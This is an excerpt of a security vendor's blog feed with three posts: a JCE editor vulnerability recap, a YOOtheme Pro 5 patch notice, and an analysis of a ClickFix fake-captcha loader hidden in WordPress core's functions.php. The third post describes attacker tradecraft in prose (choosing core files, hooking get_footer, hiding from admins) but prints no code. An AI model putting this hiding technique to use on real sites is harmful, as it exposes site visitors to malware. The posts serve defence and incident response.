&lt;p&gt;JCE is not the cautionary tale in this post. Ryan Demmer of Widget Factory has developed it since 2006, it is the most-installed editor on Joomla, and it is a mature, carefully engineered extension. When &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; came out, the response was the one every vendor should copy: the fix in 2.9.99.5 within days, a four-day audit of the whole editor and a hardening release (2.9.99.6) within a week, a run of further security and maintenance releases after that, a free patch for sites stuck on end-of-life PHP or Joomla, and a clear public advisory. One bad bug, owned fast and thoroughly.&lt;/p&gt;
&lt;p&gt;Not every Joomla extension is run like that. Since the JCE hack we have had to report critical, mostly unauthenticated flaws in the same products again and again. &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;SP Page Builder&lt;/a&gt; is the clearest case: five separate disclosures from us in four months. Some vendors patch fast and completely, as Ryan Demmer did. Others leave the same class of hole open release after release. A good extension is one whose developer responds like that when it matters, and the real risk is the long tail whose vendors do not. That is the whole reason to have every site watched.&lt;/p&gt;
&lt;h2&gt;I patched JCE. Am I still at risk?&lt;/h2&gt;
&lt;p&gt;Patched is not the same as clean. If a site ran a vulnerable JCE for any length of time before it was updated, it could already have been compromised, and a webshell sitting on disk does not care that the entry point is now shut. Updating closes the door; you still have to check whether anyone walked through it first.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Patching in June does not mean the site is clean&lt;/p&gt;&lt;div&gt;&lt;p&gt;A rogue profile planted before the update is still in the profiles list after it. A webshell dropped in tmp or media still answers requests after it. Check every site that ever ran a vulnerable JCE, whatever version it runs now, and treat a clean result as today’s result rather than a permanent one.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is the argument in &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;hacked yesterday, exploited today&lt;/a&gt;: a one-off cleanup is a snapshot, and only ongoing monitoring tells you a site is still clean next week.&lt;/p&gt;
&lt;h2&gt;Which JCE version is safe?&lt;/h2&gt;
&lt;p&gt;The rule is simple: if your JCE is anything below 2.9.99.5, the unauthenticated profile upload (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;) is open on your site, and that covers every Free and Pro release back through the 2.8.x and 2.7.x branches.&lt;/p&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;JCE version&lt;/th&gt;&lt;th&gt;Where it stands&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;2.9.99.4 and earlier (incl. 2.7.x, 2.8.x)&lt;/td&gt;&lt;td&gt;Vulnerable: the unauthenticated profile-upload flaw&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.9.99.5 to 2.9.99.11&lt;/td&gt;&lt;td&gt;Patched, but superseded&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.9.99.12&lt;/td&gt;&lt;td&gt;Current, for Joomla 3 and 4&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3.0.2&lt;/td&gt;&lt;td&gt;Current, for Joomla 5 and 6 (needs PHP 8)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.6.x&lt;/td&gt;&lt;td&gt;Not affected by default, but unsupported: migrate&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Update to whichever current release matches your Joomla and PHP version. If the site is stuck on end-of-life PHP or Joomla and cannot take that update, the JCE developer has published a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free security patch package&lt;/a&gt; covering 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap. It closes this one flaw and nothing else, and it does not clean a site that was already compromised before you applied it.&lt;/p&gt;
&lt;h2&gt;Why mySites.guru matters when a hack like this breaks&lt;/h2&gt;
&lt;p&gt;If you run a digital agency, the worst phone call you can get is a client telling you their site has been hacked. The sting is not the fix, it is that they knew before you did. mySites.guru exists to prevent that call.&lt;/p&gt;
&lt;p&gt;Every client site you look after connects through a lightweight connector, and from then on a snapshot runs on every site twice a day. So when a hack like this breaks, you do not log into each admin panel one by one to work out who is exposed. You open &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; and within seconds you have every connected site running JCE, grouped by version. You can pinpoint which sites are affected, decide which to fix first and how fast, and get ahead of it before your clients even know there was a problem. That triage is simple when every site is in a single tool, and slow and error-prone when it is not.&lt;/p&gt;
&lt;p&gt;Fixing is just as quick. The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass updater&lt;/a&gt; upgrades JCE across every affected site in one batch, or reinstalls a clean copy over the top. Enrol the extension in automatic overnight updates and the next release goes on without you lifting a finger. Then run a full audit: hundreds of checks per site, including hacked-site detection for rogue JCE profiles, rogue admins, suspect content and webshells, with clear guidance on every finding and help from us throughout.&lt;/p&gt;
&lt;p&gt;If you would rather hand the whole thing over, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is a flat £120 per incident, usually done the same day. We screen the site first, so you are not charged if we cannot fix it, and non-subscribers get a free month on top.&lt;/p&gt;
&lt;p&gt;I have been doing this since 2012. Fourteen years, 90,000+ sites protected, 1,000,000+ audits completed, and I will say it straight: no other platform brings this combination of Joomla expertise, support and toolset to a moment like this. One subscription covers &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Connect your first site free&lt;/a&gt;. No card, about two minutes.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/jce-hack/&quot;&gt;The JCE hack: indicators of compromise, timeline and the find-and-fix tool&lt;/a&gt; - our page of truth for this attack&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;Finding every site running a vulnerable JCE&lt;/a&gt; - the full technical walkthrough from June&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Nineteen and Counting: Joomla extension vulnerabilities we found in a month&lt;/a&gt; - the wave of disclosures the JCE hack set off&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the JCE developer&apos;s own advisory, confirming active exploitation and announcing the free patch package&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.chronoengine.com/blog/active-exploitation-of-jce-editor-cve-2026-48907&quot;&gt;Active exploitation of JCE Editor CVE-2026-48907&lt;/a&gt; - independent confirmation of the mass-exploitation campaign from ChronoEngine, July 2026&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48907&quot;&gt;CVE-2026-48907 at cve.org&lt;/a&gt; - the CVE record&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The June pillar post has the full technical walkthrough; the links below are the primary sources this recap draws on.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/jce-hack-four-months-on.png" length="0" type="image/png"/></item><item><title>YOOtheme Pro 5: A Critical Security Update Is Coming on 21 October</title><link>https://mysites.guru/blog/yootheme-pro-5-critical-security-update-pre-announcement/</link><guid isPermaLink="true">https://mysites.guru/blog/yootheme-pro-5-critical-security-update-pre-announcement/</guid><description>YOOtheme has given advance notice of a critical security update for YOOtheme Pro 5, due 21 October at 16:00 CEST. Every Pro 5 site must update; Pro 4 is safe.</description><pubDate>Tue, 20 Oct 2026 17:42:13 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;Update, 21 October 2026: YOOtheme Pro 5.0.53 is out&lt;/p&gt;&lt;div&gt;&lt;p&gt;YOOtheme has released 5.0.53, the fix for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102785/&quot;&gt;CVE-2026-102785&lt;/a&gt;, an unauthenticated remote code execution via the image handler. Every YOOtheme Pro 5 build before it is affected. Update every Pro 5 site now and read the &lt;a href=&quot;https://mysites.guru/blog/yootheme-pro-5-critical-security-update/&quot;&gt;full write-up&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;YOOtheme has given its customers advance notice of a critical security update for YOOtheme Pro 5, the Joomla page-builder template. The patched build is due on Wednesday 21 October 2026 at 16:00 CEST (14:00 UTC) and will appear in the &lt;a href=&quot;https://yootheme.com/support/yootheme-pro/changelog&quot;&gt;YOOtheme Pro changelog&lt;/a&gt;. Every site running YOOtheme Pro 5 should update the moment it is out. YOOtheme Pro 4 and earlier are not affected.&lt;/p&gt;
&lt;p&gt;Here is the vendor’s own notice, sent to customers on 20 October 2026: “We are preparing a critical security update for YOOtheme Pro 5, scheduled for release October 21, at 4 PM CEST. This advance notice gives you time to prepare for the update. All users running YOOtheme Pro 5 must update immediately once the new version becomes available. YOOtheme Pro 4 and earlier versions are not affected.” A day of advance notice is unusual for a Joomla extension vendor, and it is the right call: it gives anyone looking after a portfolio of client sites the evening to take backups and line up the sites that will need the update.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/yootheme-pro-5-pre-announcement-email.Dt2HbZnq_1QEhYd.webp&quot; alt=&quot;YOOtheme&apos;s advance-notice email dated 20 October 2026, headed &apos;October 21: Critical security update for YOOtheme Pro 5&apos;, with a red warning-triangle and blue refresh graphic above text stating that all YOOtheme Pro 5 users must update immediately once the new version is available and that YOOtheme Pro 4 and earlier versions are not affected&quot; loading=&quot;lazy&quot; width=&quot;1300&quot; height=&quot;1528&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;YOOtheme&apos;s advance-notice email to customers, 20 October 2026.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;What we know so far&lt;/h2&gt;
&lt;p&gt;Very little, and that is deliberate. We did not find this flaw and we have not investigated it; it was reported to YOOtheme by a third party, and the fix is not out yet. Publishing a guess at an unpatched critical issue only helps the people you do not want to help, so we are not going to describe something we have not seen fixed.&lt;/p&gt;
&lt;p&gt;What the vendor has stated is the whole of it: the issue is rated critical, it affects every YOOtheme Pro 5 build, YOOtheme Pro 4 and earlier are not affected, and the fix is due on 21 October at 16:00 CEST. Once the release is out we will publish a full write-up here with the fixed version number and, if one is assigned, the CVE.&lt;/p&gt;
&lt;h2&gt;Only YOOtheme Pro 5 is affected&lt;/h2&gt;
&lt;p&gt;YOOtheme has been specific that this is a Pro 5 issue and that Pro 4 and earlier are not affected. Pro 5 runs on modern Joomla and is a separate codebase from the Pro 4 line, so the first job tonight is a version check. A site still on YOOtheme Pro 4 has nothing to do here, and time spent updating it tomorrow is time taken from the Pro 5 sites that need you.&lt;/p&gt;
&lt;h2&gt;mySites.guru already flags YOOtheme Pro 5&lt;/h2&gt;
&lt;p&gt;If your Joomla sites are connected to mySites.guru, the version check is done for you. A detection rule added on 20 October 2026 flags any connected site running YOOtheme Pro 5, so your next site snapshot lists exactly which sites need the update when the fix is out. YOOtheme Pro appears in the &lt;a href=&quot;https://mysites.guru/vulnerabilities/&quot;&gt;Joomla Vulnerability Database&lt;/a&gt; alongside the other extensions we track, and the alert clears when a later snapshot sees the patched version.&lt;/p&gt;
&lt;p&gt;The rule went in a day before the patch exists, which is the point. Most vulnerability alerts arrive after the fix, when the job is “update this”. This one arrives before, when the job is “know which sites to update at 16:00 CEST tomorrow”. If you manage more than a handful of Joomla sites, that list is the value of the alert; see &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;managing multiple Joomla sites&lt;/a&gt; for how the rest of the workflow fits together. A &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free site audit&lt;/a&gt; shows the same finding on a site you have not connected yet.&lt;/p&gt;
&lt;h2&gt;What to do before the release&lt;/h2&gt;
&lt;p&gt;There is nothing that pre-empts this fix, so tonight is about preparation: a clean backup and a known list of the sites that will need the update.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Confirm which sites run YOOtheme Pro 5.&lt;/strong&gt; Pro 4 and earlier need no action.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Take a fresh &lt;a href=&quot;https://mysites.guru/website-backups/&quot;&gt;backup&lt;/a&gt; of every Pro 5 site&lt;/strong&gt; before the release, so you can restore cleanly if an update goes wrong.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Line up the affected sites&lt;/strong&gt; in one list so you can move quickly tomorrow. mySites.guru builds this for connected sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update every YOOtheme Pro 5 site&lt;/strong&gt; as soon as the build appears in the changelog at 16:00 CEST on 21 October 2026.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-snapshot each site&lt;/strong&gt; in mySites.guru afterwards so the alert clears.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We will publish the full write-up here once the release is out on 21 October.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-10-20&lt;/strong&gt; YOOtheme gives advance notice of a critical YOOtheme Pro 5 security update The vendor tells customers that all YOOtheme Pro 5 sites must update as soon as the new version is available, and that YOOtheme Pro 4 and earlier are not affected. mySites.guru adds a detection rule for YOOtheme Pro 5 the same day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-10-21&lt;/strong&gt; Patched YOOtheme Pro 5 release due at 16:00 CEST (14:00 UTC) Update every YOOtheme Pro 5 site as soon as the release appears in the changelog. A full write-up will follow here once it is out.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://yootheme.com/support/yootheme-pro/changelog&quot;&gt;YOOtheme Pro changelog&lt;/a&gt; - where the 21 October 2026 release and its version number will appear&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/yootheme/&quot;&gt;YOOtheme Pro in the mySites.guru Joomla Vulnerability Database&lt;/a&gt; - the entry that drives the detection rule on connected sites&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-update-security-flag/&quot;&gt;Treat an available Joomla extension update as a security flag&lt;/a&gt; - why an extension update you have not applied is a security finding, not a chore&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>yootheme</category><category>template</category><enclosure url="https://mysites.guru/img/og/blog/yootheme-pro-5-critical-security-update-pre-announcement.png" length="0" type="image/png"/></item><item><title>The Fake Cloudflare Captcha Hiding in WordPress Core&apos;s functions.php</title><link>https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/</link><guid isPermaLink="true">https://mysites.guru/blog/fake-cloudflare-captcha-wordpress-core-functions-php/</guid><description>A fake Cloudflare captcha WordPress hack injected into wp-includes/functions.php, why a malware hash list can never match it, and how to clean it out for good.</description><pubDate>Mon, 19 Oct 2026 23:11:49 GMT</pubDate><content:encoded>&lt;p&gt;A visitor opens one of your pages and a box appears that looks like Cloudflare asking them to prove they are human. Instead of a tick box, it tells them to open the Windows Run dialog and paste a command. The ones who follow the instruction infect their own PC. You, the site owner, usually hear about it from that visitor, not from the &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;usual signs a WordPress site is hacked&lt;/a&gt;, because in some of these campaigns the lure never shows itself to anyone logged in as an administrator.&lt;/p&gt;
&lt;p&gt;On 19 October 2026 an agency customer sent us exactly that report about a WordPress site. We found the injection at the top of &lt;code&gt;wp-includes/functions.php&lt;/code&gt;, a WordPress core file, rather than in a plugin or the theme. That is the one place most clean-up guides never tell you to open, and it is also the one place a malware hash list can never match. mySites.guru had already flagged the file twice before anyone here knew this variant existed, using checks that were never written for it, and since 19 October audits look for this exact variant too.&lt;/p&gt;
&lt;h2&gt;What the fake Cloudflare captcha does to a visitor’s PC&lt;/h2&gt;
&lt;p&gt;The lure is a social-engineering technique called ClickFix. &lt;a href=&quot;https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape&quot;&gt;Proofpoint first saw it in March 2024&lt;/a&gt; and gave it the name, and by November 2024 it was describing the “Verify You Are Human” fake CAPTCHA variant flooding the threat landscape. The page shows a convincing verification box. Instead of a real check, it tells the visitor to open the Run box and paste a command the page hands them, and that command fetches and runs malware on their machine.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/fake-cloudflare-captcha-verify-you-are-human.9reWNj1a_Z2iKVhB.webp&quot; alt=&quot;A fake Cloudflare verification page for example.com: the heading example.com, the line Verify you are human by completing the action below, a checkbox labelled Verify you are human with the Cloudflare logo and Privacy and Terms links, and the line example.com needs to review the security of your connection before proceeding&quot; loading=&quot;lazy&quot; width=&quot;1514&quot; height=&quot;613&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;What the visitor sees: a copy of Cloudflare&apos;s verification page. Image: Sucuri.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;The payloads seen in these campaigns include infostealers such as Lumma and Vidar and remote-access tools such as NetSupport RAT, according to Proofpoint’s 2024 brief and &lt;a href=&quot;https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/&quot;&gt;Rapid7’s March 2026 report&lt;/a&gt;. Rapid7 counted 250+ WordPress sites in 12+ countries serving a fake Cloudflare CAPTCHA since December 2025, and noted that the script hid itself from logged-in administrators.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique&quot;&gt;Microsoft Threat Intelligence&lt;/a&gt; lists compromised websites as one of ClickFix’s main arrival routes, and that is where your WordPress site comes in. The attacker is after your visitors rather than your site, and your domain is what lends the fake box its credibility. Our own inference from the Rapid7 finding: because the script hides from the one account that would recognise it as wrong, and only renders on the front end, the site owner is often the last person to see it.&lt;/p&gt;
&lt;h2&gt;Why hide a fake captcha in WordPress core instead of the theme?&lt;/h2&gt;
&lt;p&gt;Because no one opens core files. On the site we looked at, the loader sat right after the opening lines of &lt;code&gt;wp-includes/functions.php&lt;/code&gt;, with the theme and the plugins untouched. Every public write-up we read puts this family somewhere else: a plugin, the theme’s &lt;code&gt;functions.php&lt;/code&gt; or &lt;code&gt;header.php&lt;/code&gt;, mu-plugins, or the database. &lt;a href=&quot;https://blog.sucuri.net/?p=35075&quot;&gt;Sucuri’s May 2025 write-up&lt;/a&gt; has the fake Cloudflare verification injected into the &lt;code&gt;header.php&lt;/code&gt; of every installed theme, with victims told to press Win+R and paste a PowerShell command. None of the write-ups we read shows it inside a WordPress core file.&lt;/p&gt;
&lt;p&gt;We think core is the better hiding place. A site owner never opens a core file and never edits one, so nothing about it looks changed to the person who built the site. A theme injection is gone the moment someone switches theme; a core injection is still there. And the only time WordPress replaces &lt;code&gt;wp-includes/functions.php&lt;/code&gt; is a core update, so until the next one ships, the lure stays put.&lt;/p&gt;
&lt;p&gt;The hook is the clever part. The injected function attaches to &lt;code&gt;get_footer&lt;/code&gt;, so every front-end page that renders a footer prints the lure, whatever theme is active. The same lure has turned up on &lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;Joomla 3 sites running abandoned JoomShaper extensions&lt;/a&gt;, which is one reason the detection we built for this ships for every platform rather than WordPress alone.&lt;/p&gt;
&lt;h2&gt;How the WordPress core injection is built&lt;/h2&gt;
&lt;p&gt;Two parts, PHP and JavaScript. The PHP part is a small function with a random-looking name that drops out of PHP mode and prints a script block, plus one line hooking it onto &lt;code&gt;get_footer&lt;/code&gt;. The script is a single line of about 179 KB that decodes itself three times in the browser before it runs, and the code it finally runs is obfuscated again. We decoded it offline and never ran it.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Why this post describes the code in words&lt;/p&gt;&lt;div&gt;&lt;p&gt;A page that reproduces the loader’s own strings starts matching the scanners that look for them, and makes our own page look like the payload.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The security research teams have already taken these loaders apart in far more detail than we would print here. If you want to see the actual code, these are the write-ups to read, and why:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/tr-malicious-websites-wordpress-compromise-advances-global-stealer-operation/&quot;&gt;Rapid7, March 2026&lt;/a&gt;: the most complete recent teardown. It shows the injected script checking for a logged-in administrator cookie so it can hide from you, base64-decoding its endpoints, and pulling a second-stage loader from the site’s own &lt;code&gt;admin-ajax.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/?p=34769&quot;&gt;Sucuri, February 2025&lt;/a&gt;: the fake reCAPTCHA variant, found in random five-character plugin folders, a fake analytics plugin and the theme’s &lt;code&gt;functions.php&lt;/code&gt;, with a misspelled &lt;code&gt;.htaccess&lt;/code&gt; backdoor alongside. Read it for the list of places to look besides core.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/?p=35075&quot;&gt;Sucuri, May 2025&lt;/a&gt;: the fake Cloudflare page this post’s screenshot comes from, injected into &lt;code&gt;header.php&lt;/code&gt; of every installed theme. Read it for the visitor side: the exact steps the lure walks someone through.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.godaddy.com/resources/news/threat-actors-push-clickfix-fake-browser-updates-using-stolen-credentials&quot;&gt;GoDaddy, October 2024&lt;/a&gt;: attackers logging in with stolen admin passwords and installing fake plugins named after real security and caching plugins, which then hook the lure onto every page. Read it if you think a strong host stops this.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sekoia.io/meet-iclickfix-a-widespread-wordpress-targeting-framework-using-the-clickfix-tactic/&quot;&gt;Sekoia’s IClickFix analysis&lt;/a&gt;: a framework seen on thousands of WordPress sites that serves a fake Cloudflare Turnstile and NetSupport RAT. Read it for how the same lure is run as a managed campaign rather than a one-off hack.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/research/26/c/kongtuke-clickfix-abuse-of-compromised-wordpress-sites.html&quot;&gt;Trend Micro, March 2026&lt;/a&gt;: the KongTuke chain from injected JavaScript to fake CAPTCHA to PowerShell to a Python backdoor. Read it to see what happens on the visitor’s PC after they press Enter.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.sucuri.net/?p=34750&quot;&gt;Sucuri on mu-plugins malware, February 2025&lt;/a&gt;: code hidden in must-use plugins behind base64, ROT13 and AES layers. Read it for why a clean-up that skips &lt;code&gt;mu-plugins&lt;/code&gt; is not finished.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why can’t a malware hash list catch it?&lt;/h2&gt;
&lt;p&gt;Because a hash list matches the whole file, and an injection into a core file makes a different whole file on every site. mySites.guru’s &lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked Files&lt;/a&gt; tool lists a file only when the MD5 of the entire file matches a file already confirmed as hacked. That is what makes its results facts rather than guesses, and it is why that tool has no false positives. The cost of that certainty is that the injected bytes plus that version’s &lt;code&gt;wp-includes/functions.php&lt;/code&gt; make a hash no other site shares, and the next WordPress release changes the core half again. We could confirm a thousand copies and the next one would still be a new hash.&lt;/p&gt;
&lt;p&gt;Two other instruments do see it. The &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;core file integrity check&lt;/a&gt; compares each core file against the release, so a modified &lt;code&gt;wp-includes/functions.php&lt;/code&gt; is listed as modified, with the change shown and a revert to the original on offer. And &lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt; matches on what a file contains rather than what it hashes to, so the injected code matched a pattern. The &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;difference between those two tools&lt;/a&gt; explains the gap: content matching saw the file, hash matching structurally could not, and only the hash match sets the site’s hacked flag.&lt;/p&gt;
&lt;h2&gt;Suspect content versus a hacked site&lt;/h2&gt;
&lt;p&gt;These two words get used as if they meant the same thing, and on this site the gap between them was the whole complaint. We wrote up &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;the difference between Suspect content and Hacked files&lt;/a&gt; in full, and this case is the textbook example of it.&lt;/p&gt;
&lt;p&gt;Suspect content means a file’s content matches one or more of our 1,500+ hand-written hack patterns, checked against &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;every file in the webspace, line by line&lt;/a&gt;. It is a heuristic, so false positives are expected: legitimate code uses the same PHP functions hackers use. It also means something people tend to miss. The Suspect content list can hold real hacks that no one has confirmed yet, and a fresh injection like this one sits there first, because its content matches the moment it is scanned.&lt;/p&gt;
&lt;p&gt;A hacked site, in mySites.guru terms, is one where a file has been confirmed: its whole-file hash matches a file already proven to be malware, or, since 19 October, it matches a fingerprint for a known family like this one. That is a fact, not a guess, and it is what turns the site’s hacked flag on and sends the alert.&lt;/p&gt;
&lt;p&gt;So the order of work on any audit is the same. Treat anything in Hacked Files as a compromised site and start the clean-up. Then work down the Suspect content list, using the AI malware analysis on anything you cannot judge by eye, because a file there may be the next confirmed hack. Here, a modified core file plus a Suspect content match on the same file was enough to act on, before any flag went red.&lt;/p&gt;
&lt;h2&gt;mySites.guru was already catching it&lt;/h2&gt;
&lt;p&gt;No one at mySites.guru had seen this variant before the report arrived, and no check had been written for it. The audit flagged the file anyway, twice, because the checks that caught it do not need to know what a hack looks like in advance. The next variant will not look like this one either, and the same checks will be the first to see it.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Core file integrity check&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Compares every WordPress core file on the site against the original from that release. It does not care what was added or why: any core file that differs is listed as modified, with the change shown and a one-click revert to the original. That is how wp-includes/functions.php was on the list before anyone had read a line of the injected code.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/file-information/suspect-content/&quot;&gt;Suspect content&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;Reads every file in the webspace, line by line, and matches it against more than 1,500 hand-written patterns built from real hacks. None of them was written for this loader, and it matched anyway, because obfuscated code that decodes itself and runs the result looks like the hacks the patterns came from.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI malware analysis&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;One click on a suspect file sends it to Claude or OpenAI with your own key and comes back with a safe, suspicious or malicious verdict. A malicious verdict adds the file&apos;s hash to the confirmed list, so it moves into Hacked Files for that site.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/tools/file-information/hacked-files/&quot;&gt;Hacked Files (100% Certain)&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;The one tool that did not list it, by design. It only names a file whose whole-file hash matches a file already confirmed as hacked, which is why it never raises a false alarm, and why an injection that hashes differently on every site can never appear there without a confirmation first.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;div&gt;&lt;p&gt;What the customer saw before we changed a thing&lt;/p&gt;&lt;div&gt;&lt;p&gt;The core file integrity check listed wp-includes/functions.php as modified, and Suspect content matched the injected code. Hacked Files was empty, so the site’s hacked flag stayed off. The customer’s complaint was fair: “I’d consider this site hacked.” So would we, which is why we changed it.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Now mySites.guru looks for this exact variant too&lt;/h2&gt;
&lt;p&gt;On 19 October 2026 the connector learned this family by name, for every platform mySites.guru manages: WordPress, Joomla 3, 4, 5 and 6, and Generic sites. Audits now recognise it by its content, using two independent fingerprints: the decode chain itself, and the PHP injector function hooked onto the theme by its own name. Either one marks the file hacked, and so the site, wherever the file sits: a core file, a theme file, or a standalone &lt;code&gt;.js&lt;/code&gt; or &lt;code&gt;.html&lt;/code&gt; file. Sites pick up the new check when their connector updates itself, which happens automatically.&lt;/p&gt;
&lt;p&gt;Both fingerprints were tested before they shipped. They matched zero of the 1,390,834 PHP, JavaScript and HTML files we ran them against, a set made of vendor libraries, node modules and real site copies. They also ignore the near-misses that would otherwise generate noise: a lone base64 decode, a lone XOR loop, or a footer function hooked onto something else.&lt;/p&gt;
&lt;p&gt;The general checks stay where they were, and they are still the ones that will catch the next variant first. The AI malware analysis prompt now names ClickFix fake-captcha lures explicitly, so a sample with a different decode chain still gets a malicious verdict. For the reported site I confirmed the infected files by hand, so a fresh audit shows them in Hacked Files.&lt;/p&gt;
